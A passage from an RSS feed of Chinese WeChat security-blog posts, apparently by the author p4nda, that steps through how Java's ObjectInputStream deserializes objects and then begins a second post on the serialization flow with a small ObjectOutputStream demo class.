4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">descriptor</code><span md-inline="plain" style="box-sizing: border-box;">作为结果返回给</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readOrdinaryObject</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.87578125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=af36ee5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVScl57MFvsEF4k1aaGh5P4LHV5Mkp4Je3micGepUJvqNWSNArdmBzbnuhOA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">经过了这么多方法的层层调用后，拿到了描述类信息，然后和序列化开始时类似，同样检测当前处理的对象是否是一个可反序列化的对象（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">checkDeserialize()</code><span md-inline="plain" style="box-sizing: border-box;">），如果是，那么就从系统中读取当前</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Java</code><span md-inline="plain" style="box-sizing: border-box;">对象所属类的描述信息（也叫做类元数据信息）</span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">然后再经过</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">getResolveException</code><span md-inline="plain" style="box-sizing: border-box;">判断有无异常信息，若无，那么会返回</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">obj</code><span md-inline="plain" style="box-sizing: border-box;">对象，然后经过几个简单的判断后会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">finish</code><span md-inline="plain" style="box-sizing: border-box;">方法完成引用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Handle</code><span md-inline="plain" style="box-sizing: border-box;">的赋值操作，最后将结果赋值给</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">passHandle</code><span md-inline="plain" style="box-sizing: border-box;">成员属性</span></span></span></span></span></span></span></span></span></span></span><br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="1.02265625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5487935b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVScl4BNnSGyPEDUQH7stcrm042rojQgiaRVnJNNFibuibCydW8c75w3lLeJibQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">完成赋值操作后，在经过一些常规判断后，就结束了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readOrdinaryObject</code><span md-inline="plain" style="box-sizing: border-box;">方法</span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">此时会返回到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObject0</code><span md-inline="plain" style="box-sizing: border-box;">方法，在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObject0</code><span md-inline="plain" style="box-sizing: border-box;">方法经过二次</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">checkResolve</code><span md-inline="plain" style="box-sizing: border-box;">后会返回</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readObject</code><span md-inline="plain" style="box-sizing: border-box;">方法</span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.85546875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b0172f13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclqsgL6hSxNJSBfoRwBMUh02HfbwmjBr2yQQjB4xBKq2o0LqbX11q9MA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在反序列执行完成过后，它会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">vlist</code><span md-inline="plain" style="box-sizing: border-box;">成员的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">doCallbacks</code><span md-inline="plain" style="box-sizing: border-box;">来执行完成过后的回调逻辑，然后结束所有的序列化流程。</span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.97890625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=070e59b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclyaFgTDr0PgfvghKU3ly59QsHs10ASILxMQVqtxIibOU3g0tCncqQicvA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">最后再通过流程图回顾一下整个序列化的流程（看不清楚可以点击原文链接）：</span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=af276f1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclOYB7IVC3HkFgZGfT1ibPWxbmtSwib6nJyYNLbUQZfBqXH5uHibMTGYibibg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><br/></p><h2 cid="n153" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 30px;margin-bottom: 15px;white-space: pre-wrap;font-weight: bold;color: rgb(0, 0, 0);border-bottom: 2px solid rgb(239, 112, 96);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x03 总结</span></h2><p cid="n154" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">反序列化的流程比序列化的流程要复杂一点，在反序列化读取数据的时候，其中不仅包含了各种标识的读取和判读和各种类描述信息，还要判断所序列化的内容是否安全等。</span></p><p cid="n155" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">反序列化是Java安全绕不开的一个话题，亦是Java安全重点之重，因此我认为对于Java的序列化和反序列化的过程，详细了解是很有必要的，本文写的略微臃肿和不足，各位看官轻拍</span></p><h2 cid="n156" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 30px;margin-bottom: 15px;white-space: pre-wrap;font-weight: bold;color: rgb(0, 0, 0);border-bottom: 2px solid rgb(239, 112, 96);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x04 参考</span></h2><p cid="n157" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serialTOC.html" target="_blank">https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serialTOC.html</a></span></p><p cid="n158" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://blog.csdn.net/silentbalanceyh/article/details/8294269" target="_blank">https://blog.csdn.net/silentbalanceyh/article/details/8294269</a></span></p><p cid="n159" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://blog.csdn.net/u011315960/article/details/89963230" target="_blank">https://blog.csdn.net/u011315960/article/details/89963230</a></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></span></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;white-space: nowrap;top: 18687px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">然后再经过</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">getResolveException</code><span md-inline="plain" style="box-sizing: border-box;">判断有无异常信息，若无，那么会返回</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">obj</code><span md-inline="plain" style="box-sizing: border-box;">对象，然后经过几个简单的判断后会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">finish</code><span md-inline="plain" style="box-sizing: border-box;">方法完成引用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Handle</code><span md-inline="plain" style="box-sizing: border-box;">的赋值操作，最后将结果赋值给</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">passHandle</code><span md-inline="plain" style="box-sizing: border-box;">成员属性</span></span></span></span></span></span></span></p><p style="width: 1px;height: 1px;overflow: hidden;left: -1000px;white-space: nowrap;top: 18687px;text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></span></span></span></span></p>



<p><a href="https://www.cnpanda.net/sec/928.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=86728d2b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483930%26idx%3D1%26sn%3Df335d2a87c3300653252ce7be624322a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 14 Jun 2021 21:03:00 +0800</pubDate>
    </item>
    <item>
      <title>序列化流程分析总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483886&amp;idx=1&amp;sn=e7a349cfe65fe91ae2315c5dab69a2ff</link>
      <description>序列化流程分析总结，一起来debug吧</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-06-13 16:26</span> <span style="display: inline-block;"></span>
</p>

<p>序列化流程分析总结，一起来debug吧</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=22b0165c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cP6cG1eML9cN7foiba4fK8PRFgFozXHsg7JlhiawI4AbEaDEvsMsGu8qQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n142" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 30px;margin-bottom: 15px;white-space: pre-wrap;font-weight: bold;color: rgb(0, 0, 0);border-bottom: 2px solid rgb(239, 112, 96);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x01 写在前面</span></h2><p cid="n147" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">本文写的比较细，推荐复制demo代码，然后一步一步跟随笔者的分析进行debug调试，这样跟能够帮助读者理解此文。</span></p><h2 cid="n149" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 30px;margin-bottom: 15px;white-space: pre-wrap;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x02 流程分析</span></h2><p cid="n144" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">所谓的序列化即是一个将对象写入到IO流中的过程。序列化的步骤通常是首先创建一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">输出流，然后调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectOutputStream</code><span md-inline="plain" style="box-sizing: border-box;">对象的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject</code><span md-inline="plain" style="box-sizing: border-box;">方法，按照一定格式(上面提到的)输出可序列化对象。</span></span></span></span></p><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">如下段Demo代码：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> com.panda.alipay;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Main</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Demo</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Serializable</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> String string;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">transient</span> String name = <span class="code-snippet__string">&#34;hello&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">Demo</span><span class="code-snippet__params">(String s)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.string = s;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">            Demo demo = <span class="code-snippet__keyword">new</span> Demo(<span class="code-snippet__string">&#34;panda&#34;</span>);</span></code><code><span class="code-snippet_outer">            ObjectOutputStream outputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(<span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;panda.out&#34;</span>));</span></code><code><span class="code-snippet_outer">            outputStream.writeObject(<span class="code-snippet__keyword">new</span> Demo(<span class="code-snippet__string">&#34;panda&#34;</span>));</span></code><code><span class="code-snippet_outer">            outputStream.close();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">整个代码中最关键的两行为：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">ObjectOutputStream outputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(<span class="code-snippet__keyword">new</span> FileOutputStream(<span class="code-snippet__string">&#34;panda.out&#34;</span>));</span></code><code><span class="code-snippet_outer"> outputStream.writeObject(<span class="code-snippet__keyword">new</span> Demo(<span class="code-snippet__string">&#34;panda&#34;</span>));</span></code></pre></section><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">这两行其实就包括了整个序列化的流程。</span></p><p cid="n9" 